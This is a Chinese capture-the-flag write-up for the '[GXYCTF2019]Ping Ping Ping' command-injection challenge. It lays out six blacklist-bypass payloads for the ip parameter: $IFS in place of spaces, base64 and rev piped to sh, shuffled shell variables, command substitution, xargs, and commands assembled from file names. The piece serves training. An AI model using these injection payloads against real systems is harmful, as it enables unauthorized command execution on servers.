BUUCTF-Web-命令注入-[GXYCTF2019]Ping Ping Ping
题目链接:BUUCTF
类型:命令注入
知识点:命令注入黑名单绕过方法
解题方法:6种
解题过程
0x1.base64绕过
目标使用ip变量进行get传参,通拼接符号";
"执行ls命令,发现目标过滤了空格
因为是linux环境,使用分隔符$IFS进行绕过
?ip=127.0.0.1;命令$IFS$1参数
配合cat
查看源码,发现过滤了很多绕过黑名单的关键字符,并且对"flag"名称字符串进行严格的过滤,所以直接使用cat查看flag.php肯定是不行,这边需要对"flag"
字符串进行绕过
?ip=127.0.0.1;cat$IFS$1index.php
尝试使用base64编码绕过,先在本地对命令进行base64编码,再通过管道符进行base64解码配合bash执行,但是由于目标用正则过滤了"bash
"名称,使用换sh
base64 "cat flag.php"|base64
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhwCg==|base64$IFS$1-d|sh
执行完后无回显内容,检查命令没问题,F12查看器在源码中发现flag,这种方式属于注释隐写
0x2.shell变量绕过
因为目标过滤了"flag"字符串,所以尝试使用shell变量拼接绕过,在赋值的过程中需要注意不能按照顺序依次对"flag"字符串进行赋值,因为目标使用正则对"flag"字符串单个字母一一检测,所以在赋值的时候打乱顺序
?ip=127.0.0.1;a=ag;b=fl;c=.php;cat$IFS$b$a$c
0x3.反序绕过
和base64差不多,通过rev命令对包含"flag"字符串命令进行反序绕过对方黑名单检测
echo "cat flag.php"|rev
?ip=127.0.0.1;echo$IFS$1php.galf$IFS$1tac|rev|sh
查看网页源代码直接得到flag
0x4.命令替换绕过
在使用ls命令查看当前目录文件时,发现flag就在当前文件下,直接配合linux的命令替换符号内联一条ls命令通过cat查出当前文件下所有内容
- ?ip=127.0.0.1;cat$IFS$1
ls
0x5.xargs绕过
和反引号绕过原理一样,通过xargs将ls命令的输出作为cat的参数
?ip=127.0.0.1;ls|xargs$IFS$1cat
0x6.反斜杠文件名绕过
这种方法一般用在参数长度限制,通过创建包含命令的文件名称,利用ls时间排序再通过管道符利用shell执行绕过,因为目标过滤了重定向符号">
",但是可以直接使用touchu
命令!
示例命令:cat flag.php
?ip=127.0.0.1;touch$IFS$1.php
?ip=127.0.0.1;touch$IFS$1ag\\
?ip=127.0.0.1;touch$IFS$1fl\\
?ip=127.0.0.1;touch$IFS$1\$IFS\$1\\
?ip=127.0.0.1;touch$IFS$1at\\
?ip=127.0.0.1;touch$IFS$1c\\
使用ls -at
按照最新时间排序
?ip=127.0.0.1;ls$IFS$1-at
再使用管道符配合shell通过文件名称执行命令
?ip=127.0.0.1;ls$IFS$1-at|sh
0.0.1;ls$IFS$1-at|sh`
[外链图片转存中…(img-7hL60XaE-1646794898118)]